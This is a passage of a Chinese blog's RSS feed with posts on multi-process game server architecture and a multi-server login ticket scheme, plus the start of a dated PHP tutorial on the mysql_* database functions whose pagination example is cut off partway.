可能在另一个核中并行计算着。具体的设计中，我们只需要把处理数据包的任务切细，适当增加处理流水线的长度，就可以提高整个系统的吞吐量了。由于逻辑操作是单线程的，所以另需要注意的一点是，所有费时的操作都应该转发到独立的进程中异步完成。比如下面会提到的数据存取服务。对于具体的场景管理是这样做的：玩家连接进来后，所有数据包会经过一个叫做位置服务的进程中。这个进程可以区分玩家所在的位置，然后把玩家数据分发到对应的场景服务进程中。这个位置服务同时还管理玩家间消息的广播。即，单个的场景（逻辑）服务并不关心每个数据包为哪几个玩家所见，而由这个服务将其复制分发。当玩家切换场景，场景服务器将玩家的数据发送给数据服务，数据服务进程 cache 玩家数据，并将数据写入数据库。然后把玩家的新的场景编号发回位置服务进程，这样位置服务器可以将后续的玩家数据包正确的转发到新的场景服务进程中。掉落物品和资源生产同样可以统一管理，所以的场景（逻辑）进程都将生产新物件的请求发给物品分配服务，由物品分配服务生产出新物件后通知位置服务器产生新物品。这样一系列的做法，最终保证了，每个场景服务器都有一个唯一的数据源——位置服务进程。它跟持久化在数据库中的数据无关，跟时钟也无关。由此带来的调试便利是很显著的。最近，面临诸多进程的设计时，最先面临的一个复杂点在于启动阶段。显然，每个进程都配有一套配置文件指出其它进程的地址并不是一个好主意。而为每个服务都分配一个子域名在开发期也不太合适。结果我们采取了一个简单的方案：单独开发了一个名字服务器。它的功能类似 DNS ，但是可以让每个进程自由的注册自己的位置，还可以定期汇报自己的当前状态。这样，我们可以方便的用程序查询到需要的服务。名字服务器的协议用的类似 POP3 的文本协议，这让我们可以人手工 telnet 上去查阅。我相信以后我们的维护人员会喜欢这样的设计的。:D 相关博文2010年05月23日 -- mysql优化及全文搜索 (0)2008年10月17日 -- 思维的惯性 (0)2008年10月17日 -- 随机数有多随机？ (0)2011年06月29日 -- 资深设计师Tony Ventrice解析手机游戏开发的四个层次 (0)2010年07月28日 -- ASP防注入新方式，希望对大家是有用的 (0)2010年07月26日 -- PHP对文本数据库的基本操作方法 (0)2010年07月26日 [...]]]></description>
			<content:encoded><![CDATA[<p>目前，我们的游戏服务器组是按多进程的方式设计的。强调多进程，是想提另外一点，我们每个进程上是单线程的。所以，我们在设计中，系统的复杂点在于进程间如何交换数据；而不需要考虑线程间的数据锁问题。<br/><br/>如果肆意的做进程间通讯，在进程数量不断增加后，会使系统混乱不可控。经过分析后，我决定做如下的限制：<br/><br/>如果一个进程需要和多个服务器做双向通讯，那么这个进程不能处理复杂的逻辑，而只是过滤和转发数据用。即，这样的一个进程 S ，只会把进程 A 发过来的数据转发到 B ；或把进程 B 发过来的数据转发到 A 。或者从一端发过来的数据，经过简单的协议分析后，可以分发到不同的地方。例如，把客户端发过来的数据包中的聊天信息分离处理，交到聊天进程处理。<br/><br/>有逻辑处理的进程上的数据流一定是单向的，它可以从多个数据源读取数据，但是处理后一定反馈到另外的地方，而不需要和数据源做逻辑上的交互。<br/><br/>每个进程尽可能的保持单个输入点，或是单个输出点。<br/><br/>所有费时的操作均发到独立的进程，以队列方式处理。<br/><br/>按功能和场景划分进程，单一服务和单一场景中不再分离出多个进程做负载均衡。<span id="more-302"></span><br/><br/>性能问题上，我是这样考虑的：<br/><br/>我们应该充分利用多核的优势，这会是日后的发展方向。让每个进程要么处理大流量小计算量的工作；要么处理小流量大计算量的工作。这样多个进程放在一台物理机器上可以更加充分的利用机器的资源。<br/><br/>单线程多进程的设计，个人认为更能发挥多核的优势。这是因为没有了锁，每个线程都可以以最大吞吐量工作。增加的负担只是进程间的数据复制，在网游这种复杂逻辑的系统中，一般不会比逻辑计算更早成为瓶颈。如果担心，单线程没有利用多核计算的优势，不妨考虑以下的例子：<br/><br/>计算 a/b+c/d+e/f ，如果我们在一个进程中开三条线程利用三个核同时计算 a/b c/d e/f 固然不错，但它增加了程序设计的复杂度。而换个思路，做成三个进程，第一个只算 a/b 把结果交给第二个进程去算 c/d 于之的和，再交个第三个进程算 e/f 。对于单次运算来算，虽然成本增加了。它需要做额外的进程间通讯复制中间结果。但，如果我们有大量连续的这样的计算要做，整体的吞吐量却增加了。因为在算某次的 a/b 的时候，前一次的 c/d 可能在另一个核中并行计算着。<br/><br/>具体的设计中，我们只需要把处理数据包的任务切细，适当增加处理流水线的长度，就可以提高整个系统的吞吐量了。由于逻辑操作是单线程的，所以另需要注意的一点是，所有费时的操作都应该转发到独立的进程中异步完成。比如下面会提到的数据存取服务。<br/><br/>对于具体的场景管理是这样做的：<br/><br/>玩家连接进来后，所有数据包会经过一个叫做位置服务的进程中。这个进程可以区分玩家所在的位置，然后把玩家数据分发到对应的场景服务进程中。这个位置服务同时还管理玩家间消息的广播。即，单个的场景（逻辑）服务并不关心每个数据包为哪几个玩家所见，而由这个服务将其复制分发。<br/><br/>当玩家切换场景，场景服务器将玩家的数据发送给数据服务，数据服务进程 <a href="http://www.5bay.cn/tag/cache" class="st_tag internal_tag" rel="tag" title="标签 cache 下的日志">cache</a> 玩家数据，并将数据写入数据库。然后把玩家的新的场景编号发回位置服务进程，这样位置服务器可以将后续的玩家数据包正确的转发到新的场景服务进程中。<br/><br/>掉落物品和资源生产同样可以统一管理，所以的场景（逻辑）进程都将生产新物件的请求发给物品分配服务，由物品分配服务生产出新物件后通知位置服务器产生新物品。<br/><br/>这样一系列的做法，最终保证了，每个场景服务器都有一个唯一的数据源——位置服务进程。它跟持久化在数据库中的数据无关，跟时钟也无关。由此带来的调试便利是很显著的。<br/><br/>最近，面临诸多进程的设计时，最先面临的一个复杂点在于启动阶段。显然，每个进程都配有一套配置文件指出其它进程的地址并不是一个好主意。而为每个服务都分配一个子域名在开发期也不太合适。结果我们采取了一个简单的方案：单独开发了一个名字服务器。它的功能类似 DNS ，但是可以让每个进程自由的注册自己的位置，还可以定期汇报自己的当前状态。这样，我们可以方便的用程序查询到需要的服务。名字服务器的协议用的类似 POP3 的文本协议，这让我们可以人手工 telnet 上去查阅。我相信以后我们的维护人员会喜欢这样的设计的。:D</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%80%9D%E7%BB%B4%E7%9A%84%E6%83%AF%E6%80%A7.html" title="思维的惯性">思维的惯性</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E9%9A%8F%E6%9C%BA%E6%95%B0%E6%9C%89%E5%A4%9A%E9%9A%8F%E6%9C%BA%EF%BC%9F.html" title="随机数有多随机？">随机数有多随机？</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/game-development/zishenshejishitonyventricejiexishoujiyouxikaifadesigecengci.html" title="资深设计师Tony Ventrice解析手机游戏开发的四个层次">资深设计师Tony Ventrice解析手机游戏开发的四个层次</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%95%B0%E6%8D%AE%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E8%AE%BE%E8%AE%A1.html" title="数据服务器的设计">数据服务器的设计</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E4%BB%A5%E4%BA%BA%E4%B8%BA%E6%9C%AC%EF%BC%8C%E7%BE%8E%E6%9C%AF%E8%B5%84%E6%BA%90%E7%9A%84%E5%BD%92%E6%A1%A3.html" title="以人为本，美术资源的归档">以人为本，美术资源的归档</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%A4%9A%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E7%94%A8%E6%88%B7%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81%E6%96%B9%E6%A1%88.html" title="多服务器的用户身份认证方案">多服务器的用户身份认证方案</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/mmo%E7%9A%84%E6%8E%92%E9%98%9F%E7%B3%BB%E7%BB%9F.html" title="MMO 的排队系统">MMO 的排队系统</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/cache" title="cache" rel="tag">cache</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E5%88%86%E7%A6%BB" title="分离" rel="tag">分离</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/tag/%E6%B8%B8%E6%88%8F" title="游戏" rel="tag">游戏</a>, <a href="http://www.5bay.cn/category/game-development" title="游戏开发" rel="tag">游戏开发</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/tag/%E8%AE%BE%E8%AE%A1" title="设计" rel="tag">设计</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/game-development/%E5%A4%9A%E8%BF%9B%E7%A8%8B%E7%9A%84%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AE%BE%E8%AE%A1.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>多服务器的用户身份认证方案</title>
		<link>http://www.5bay.cn/game-development/%E5%A4%9A%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E7%94%A8%E6%88%B7%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81%E6%96%B9%E6%A1%88.html</link>
		<comments>http://www.5bay.cn/game-development/%E5%A4%9A%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E7%94%A8%E6%88%B7%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81%E6%96%B9%E6%A1%88.html#comments</comments>
		<pubDate>Fri, 17 Oct 2008 17:01:53 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[游戏开发]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[失败]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[游戏]]></category>
		<category><![CDATA[版本]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[解决]]></category>
		<category><![CDATA[连接]]></category>

		<guid isPermaLink="false">?p=291</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/game-development/%E5%A4%9A%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E7%94%A8%E6%88%B7%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81%E6%96%B9%E6%A1%88.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>当游戏服务器群达到一定规模后，让用户只从一个入口连入会给这个入口带来很大的压力。这样，我们就需要让服务器群中的多台机器都允许用户直接连接。当服务器开放给用户直接登陆后，必须面临的一个问题就是用户身份认证的问题。大多数提供网络服务的公司都做了一套统一的用户认证系统，比如微软的 passport ，网易的通行证，等等。为了避免重复验证用户身份而给用户认证系统带来过大的负担，云风在这里给出一个参考解决方案。登陆服务器可以只有一台，专门用于用户第一次登陆的身份认证。它认证完用户的身份后，则发放一个游戏系统内部用的临时通行证给用户，用户可以拿着这个临时通行证到指定的地点玩游戏。我们需要讨论的是，以上流程中的安全问题，以及如何加强安全性。用户认证过程自然不能传送用户密码的全部信息，这跟密码是否加密无关。简单的安全措施是先由登陆服务器发送一个随机串给用户，用户把这个字符串同自己的密码连接起来，并 md5 以后传回服务器做验证。（这里用 md5 指代一种特定的不可逆 hash 算法）临时通行证的生成可以是这样： 登陆服务器从数据库中取得用户所属的服务器 id （通常是他最后一次登陆的位置，或者游戏逻辑认为他所在位置）、用户的游戏 id （往往不同于他的用户名）、一个约定字符串、一个顺序版本号、一些随机字节、把它们连在作一次 des 加密（这里用 des 指代一种特定的可逆密匙加密算法）。每生成一次临时通行证，版本号递增。加密临时通行证的密码由登陆服务器与每个可以接受用户直接连接的服务器约定，永远不传送给用户。用户拿到这个临时通行证后，可以用之一次性登陆指定服务器。直到从服务器正常登出，若需切入新服务器，可由老服务器生成下一份临时通行证。临时通行证由于被服务器加密，所以对用户来说是一串无意义字符串，故而无法伪造。临时通行证传送给用户时，可用用户自己的密码之 md5 值（或者连接一个约定串增加安全性）做密匙加密。这样不知道密匙的人截获数据包也不能获得临时身份证。而临时身份证总是一次有效，且只针对特定服务器（服务器会检查临时通行证中包含的版本号、服务器 id ），企图用临时身份证多次登陆也会失败。 相关博文2010年05月23日 -- mysql优化及全文搜索 (0)2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)2010年05月23日 -- Rsync详解 (0)2008年10月17日 -- 多进程的游戏服务器设计 (0)2010年07月28日 -- 完美解决“由于这台计算机没有终端服务器客户端访问许可证” (0)2010年07月26日 -- 使用Ajax时的十个常犯的错误 (0)2010年07月26日 -- ajax的缺点 (0)2008年10月17日 -- 服务器消息的广播 (0)2008年10月17日 -- 思维的惯性 (0)2008年10月17日 -- 游戏中的货币 (0)2008年10月17日 -- 随机数有多随机？ [...]]]></description>
			<content:encoded><![CDATA[<p>当游戏服务器群达到一定规模后，让用户只从一个入口连入会给这个入口带来很大的压力。这样，我们就需要让服务器群中的多台机器都允许用户直接连接。<br/><br/>当服务器开放给用户直接登陆后，必须面临的一个问题就是用户身份认证的问题。<br/><br/>大多数提供网络服务的公司都做了一套统一的用户认证系统，比如微软的 passport ，网易的通行证，等等。为了避免重复验证用户身份而给用户认证系统带来过大的负担，云风在这里给出一个参考解决方案。<span id="more-291"></span><br/><br/>登陆服务器可以只有一台，专门用于用户第一次登陆的身份认证。它认证完用户的身份后，则发放一个游戏系统内部用的临时通行证给用户，用户可以拿着这个临时通行证到指定的地点玩游戏。<br/><br/>我们需要讨论的是，以上流程中的安全问题，以及如何加强安全性。<br/><br/>用户认证过程自然不能传送用户密码的全部信息，这跟密码是否加密无关。简单的安全措施是先由登陆服务器发送一个随机串给用户，用户把这个字符串同自己的密码连接起来，并 md5 以后传回服务器做验证。（这里用 md5 指代一种特定的不可逆 hash 算法）<br/><br/>临时通行证的生成可以是这样： 登陆服务器从数据库中取得用户所属的服务器 id （通常是他最后一次登陆的位置，或者游戏逻辑认为他所在位置）、用户的游戏 id （往往不同于他的用户名）、一个约定字符串、一个顺序版本号、一些随机字节、把它们连在作一次 des 加密（这里用 des 指代一种特定的可逆密匙加密算法）。每生成一次临时通行证，版本号递增。加密临时通行证的密码由登陆服务器与每个可以接受用户直接连接的服务器约定，永远不传送给用户。<br/><br/>用户拿到这个临时通行证后，可以用之一次性登陆指定服务器。直到从服务器正常登出，若需切入新服务器，可由老服务器生成下一份临时通行证。临时通行证由于被服务器加密，所以对用户来说是一串无意义字符串，故而无法伪造。<br/><br/>临时通行证传送给用户时，可用用户自己的密码之 md5 值（或者连接一个约定串增加安全性）做密匙加密。这样不知道密匙的人截获数据包也不能获得临时身份证。而临时身份证总是一次有效，且只针对特定服务器（服务器会检查临时通行证中包含的版本号、服务器 id ），企图用临时身份证多次登陆也会失败。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%A4%9A%E8%BF%9B%E7%A8%8B%E7%9A%84%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AE%BE%E8%AE%A1.html" title="多进程的游戏服务器设计">多进程的游戏服务器设计</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/yaoeeechueeeeeeee.html" title="完美解决“由于这台计算机没有终端服务器客户端访问许可证”">完美解决“由于这台计算机没有终端服务器客户端访问许可证”</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%B6%88%E6%81%AF%E7%9A%84%E5%B9%BF%E6%92%AD.html" title="服务器消息的广播">服务器消息的广播</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%80%9D%E7%BB%B4%E7%9A%84%E6%83%AF%E6%80%A7.html" title="思维的惯性">思维的惯性</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%B8%B8%E6%88%8F%E4%B8%AD%E7%9A%84%E8%B4%A7%E5%B8%81.html" title="游戏中的货币">游戏中的货币</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E9%9A%8F%E6%9C%BA%E6%95%B0%E6%9C%89%E5%A4%9A%E9%9A%8F%E6%9C%BA%EF%BC%9F.html" title="随机数有多随机？">随机数有多随机？</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/mmo%E7%9A%84%E6%8E%92%E9%98%9F%E7%B3%BB%E7%BB%9F.html" title="MMO 的排队系统">MMO 的排队系统</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/game-development/zishenshejishitonyventricejiexishoujiyouxikaifadesigecengci.html" title="资深设计师Tony Ventrice解析手机游戏开发的四个层次">资深设计师Tony Ventrice解析手机游戏开发的四个层次</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/eeeeee389.html" title="无需输入密码登陆3389">无需输入密码登陆3389</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E5%A4%B1%E8%B4%A5" title="失败" rel="tag">失败</a>, <a href="http://www.5bay.cn/tag/%E5%AF%86%E7%A0%81" title="密码" rel="tag">密码</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/tag/%E6%B8%B8%E6%88%8F" title="游戏" rel="tag">游戏</a>, <a href="http://www.5bay.cn/category/game-development" title="游戏开发" rel="tag">游戏开发</a>, <a href="http://www.5bay.cn/tag/%E7%89%88%E6%9C%AC" title="版本" rel="tag">版本</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/tag/%E8%A7%A3%E5%86%B3" title="解决" rel="tag">解决</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/game-development/%E5%A4%9A%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E7%94%A8%E6%88%B7%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81%E6%96%B9%E6%A1%88.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP连接各种数据库的方法</title>
		<link>http://www.5bay.cn/network-programming/php/php%E8%BF%9E%E6%8E%A5%E5%90%84%E7%A7%8D%E6%95%B0%E6%8D%AE%E5%BA%93%E7%9A%84%E6%96%B9%E6%B3%95.html</link>
		<comments>http://www.5bay.cn/network-programming/php/php%E8%BF%9E%E6%8E%A5%E5%90%84%E7%A7%8D%E6%95%B0%E6%8D%AE%E5%BA%93%E7%9A%84%E6%96%B9%E6%B3%95.html#comments</comments>
		<pubDate>Sat, 24 Mar 2007 03:06:03 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[连接]]></category>

		<guid isPermaLink="false">?p=232</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/php/php%E8%BF%9E%E6%8E%A5%E5%90%84%E7%A7%8D%E6%95%B0%E6%8D%AE%E5%BA%93%E7%9A%84%E6%96%B9%E6%B3%95.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>相信大家对PHP已经很熟悉了。PHP内置了几乎对世界上所有的数据库的支持，而不再需要重新扩充。所以有人说：不会用PHP调用数据库，等于没学PHP。下面是笔者根据本人的操作经验和大侠们的意见而得出的总结，希望能给初学者提供一些益处。PHP调用三种数据库的方法本文比较详细的介绍PHP调用MySQL、ODBC以及ORACLE数据库。MySQL是一个小巧灵珑的数据库服务器软件，对于中、小型应用系统是非常理想的。除了支持标准的ANSI SQL语句外，最重要的是，它还支持多种平台，而在Unix/Linux系统上，MySQL支持多线程运行方式，从而能获得相当好的性能。它和PHP、Apache一样，是属于开放源代码软件。其官方网站是：http://www.mysql.com，上面提供Windows,Linux,Unix版本的源代码的下载。注意，MySQL访问函数都需要有相应的权限才能运行。常用的相关函数介绍如下：(1)integer mysql_connect(主机,用户名,口令); 此函数开始一个对指定主机上的MySQL数据库的连接。若该数据库位于一个不同地端口，则在主机名后加上冒号和端口号。所有参数均为可选的，缺省情况下分别对应为本地主机、用户正在执行的脚本名和空。主机可以是IP地址或域名。在脚本执行结束时，连接被自动关闭，也可以用mysql_close提前关闭。(2)boolean mysql_create_db(数据库名); 创建一个数据库。注意必须用一个带有创建数据库许可权的帐号打开连接。(3)boolean mysql_select_db(数据库名,连接号); 选择缺省数据库。 (4)integer mysql_query(SQL语句,连接号); 对指定数据库进行查询。如果SQL语句是select,则返回一个结果号，否则返回的值可以不理会。如果失败，返回false.。(5)array mysql_fetch_array(结果号); 取出下一行,返回一个数组.可以用数字下标访问(第一个字段是下标 0)，也可以用字符串下标访问(即使用各字段名)。如已取了最后一行，返回 false.。(6)mysql_fetch_row(结果号); 返回一个矩阵代表结果集中一行的所有域。每次调用都会产生下一行，直到没有行剩下时返回false。每个域值都由一个从零开始的偏移量索引。这是从查询中获取结果的最快方法。(7)integer mysql_num_rows(结果号);返回结果集中行的数目(8)integer mysql_num_fields(结果号); 返回结果集中域的数目。(9)integer mysql_list_dbs();向服务器查询数据库列表。它返回一个结果指针，该指针可用于mysql_fetch_row函数及类似函数。(10)mysql_list_tables(数据库名); 获取一个指向指定数据库的表单列表的结果指针。该结果指针可用于任何从结果集中获取行的函数。(11)mysql_close(连接号); 关闭对数据库的连接。连接必须是由mysql_connect打开的。该函数的使用不是严格必需的，因为在脚本结束时，所有非永久链路都会被自动关闭。(12)mysql_pconnect(主机,用户名,口令); 与mysql_connect完全相似,但建立一个&#34;永久连接&#34;,该连接一经建立永不关闭,即使使用mysql_close函数或程序执行完毕也不关闭.下一次试图建立永久连接时,系统如发现已存在一个永久连接,则直接返回该连接号而不重新创建。下面是一个调用MYSQL数据库并分页显示的例子。]]></description>
			<content:encoded><![CDATA[<p>相信大家对PHP已经很熟悉了。PHP内置了几乎对世界上所有的数据库的支持，而不再需要重新扩充。所以有人说：不会用PHP调用数据库，等于没学PHP。下面是笔者根据本人的操作经验和大侠们的意见而得出的总结，希望能给初学者提供一些益处。<br/><br/>PHP调用三种数据库的方法<br/><br/>本文比较详细的介绍PHP调用MySQL、ODBC以及ORACLE数据库。<span id="more-232"></span><br/><br/>MySQL是一个小巧灵珑的数据库服务器软件，对于中、小型应用系统是非常理想的。除了支持标准的ANSI SQL语句外，最重要的是，它还支持多种平台，而在Unix/Linux系统上，MySQL支持多线程运行方式，从而能获得相当好的性能。它和PHP、Apache一样，是属于开放源代码软件。其官方网站是：http://www.mysql.com，上面提供Windows,Linux,Unix版本的源代码的下载。<br/><br/>注意，MySQL访问函数都需要有相应的权限才能运行。常用的相关函数介绍如下：<br/><br/>(1)integer mysql_connect(主机,用户名,口令); <br/><br/>此函数开始一个对指定主机上的MySQL数据库的连接。若该数据库位于一个不同地端口，则在主机名后加上冒号和端口号。所有参数均为可选的，缺省情况下分别对应为本地主机、用户正在执行的脚本名和空。主机可以是IP地址或域名。<br/><br/>在脚本执行结束时，连接被自动关闭，也可以用mysql_close提前关闭。<br/><br/>(2)boolean mysql_create_db(数据库名); <br/><br/>创建一个数据库。注意必须用一个带有创建数据库许可权的帐号打开连接。<br/><br/>(3)boolean mysql_select_db(数据库名,连接号); <br/><br/>选择缺省数据库。 <br/><br/>(4)integer mysql_query(SQL语句,连接号); <br/><br/>对指定数据库进行查询。如果SQL语句是select,则返回一个结果号，否则返回的值可以不理会。如果失败，返回false.。<br/><br/>(5)array mysql_fetch_array(结果号); <br/><br/>取出下一行,返回一个数组.可以用数字下标访问(第一个字段是下标 0)，也可以用字符串下标访问(即使用各字段名)。如已取了最后一行，返回 false.。<br/><br/>(6)mysql_fetch_row(结果号); <br/><br/>返回一个矩阵代表结果集中一行的所有域。每次调用都会产生下一行，直到没有行剩下时返回false。每个域值都由一个从零开始的偏移量索引。这是从查询中获取结果的最快方法。<br/><br/>(7)integer mysql_num_rows(结果号);<br/><br/>返回结果集中行的数目<br/><br/>(8)integer mysql_num_fields(结果号); <br/><br/>返回结果集中域的数目。<br/><br/>(9)integer mysql_list_dbs();<br/><br/>向服务器查询数据库列表。它返回一个结果指针，该指针可用于mysql_fetch_row函数及类似函数。<br/><br/>(10)mysql_list_tables(数据库名); <br/><br/>获取一个指向指定数据库的表单列表的结果指针。该结果指针可用于任何从结果集中获取行的函数。<br/><br/>(11)mysql_close(连接号); <br/><br/>关闭对数据库的连接。连接必须是由mysql_connect打开的。该函数的使用不是严格必需的，因为在脚本结束时，所有非永久链路都会被自动关闭。<br/><br/>(12)mysql_pconnect(主机,用户名,口令); <br/><br/>与mysql_connect完全相似,但建立一个&quot;永久连接&quot;,该连接一经建立永不关闭,即使使用mysql_close函数或程序执行完毕也不关闭.下一次试图建立永久连接时,系统如发现已存在一个永久连接,则直接返回该连接号而不重新创建。<br/><br/>下面是一个调用MYSQL数据库并分页显示的例子。<br/><br/><br/><coolcode><?php</p>
<p>$pagesize = 5; //每页显示5条记录<br />$host=”localhost”;<br />$user=”user”;<br />$password=”psw”; <br />$dbname=”book”; //所查询的库表名；</p>
<p>//连接MySQL数据库</p>
<p>mysql_connect(“$host”,”$user”,”$password”) or die(“无法连接MySQL数据库服务器！”);<br />$db = mysql_select_db(“$dbname”) or die(“无法连接数据库！”);<br />$sql = “select count(*) as total from pagetest”;//生成查询记录数的SQL语句<br />$rst = mysql_query($sql) or die(“无法执行SQL语句：$sql ！”); //查询记录数<br />$row = mysql_fetch_array($rst) or die(“没有更多的记录！”); /取出一条记录<br />$rowcount = $row&#91;”total”&#93;;//取出记录数</p>
<p>mysql_free_result($rst) or die(“无法释放result资源！”); //释放result资源<br />  $pagecount = bcdiv($rowcount+$pagesize-1,$pagesize,0);//算出总共有几页<br />  if(!isset($pageno)) {<br />         $pageno = 1; //在没有设置pageno时，缺省为显示第1页<br />}</p>
<p>if($pageno<1) {<br />  $pageno = 1; //若pageno比1小，则把它设置为1<br />}</p>
<p>if($pageno>$pagecount) {<br />  $pageno = $pagecount; //若pageno比总共的页数大，则把它设置为最后一页<br />}</p>
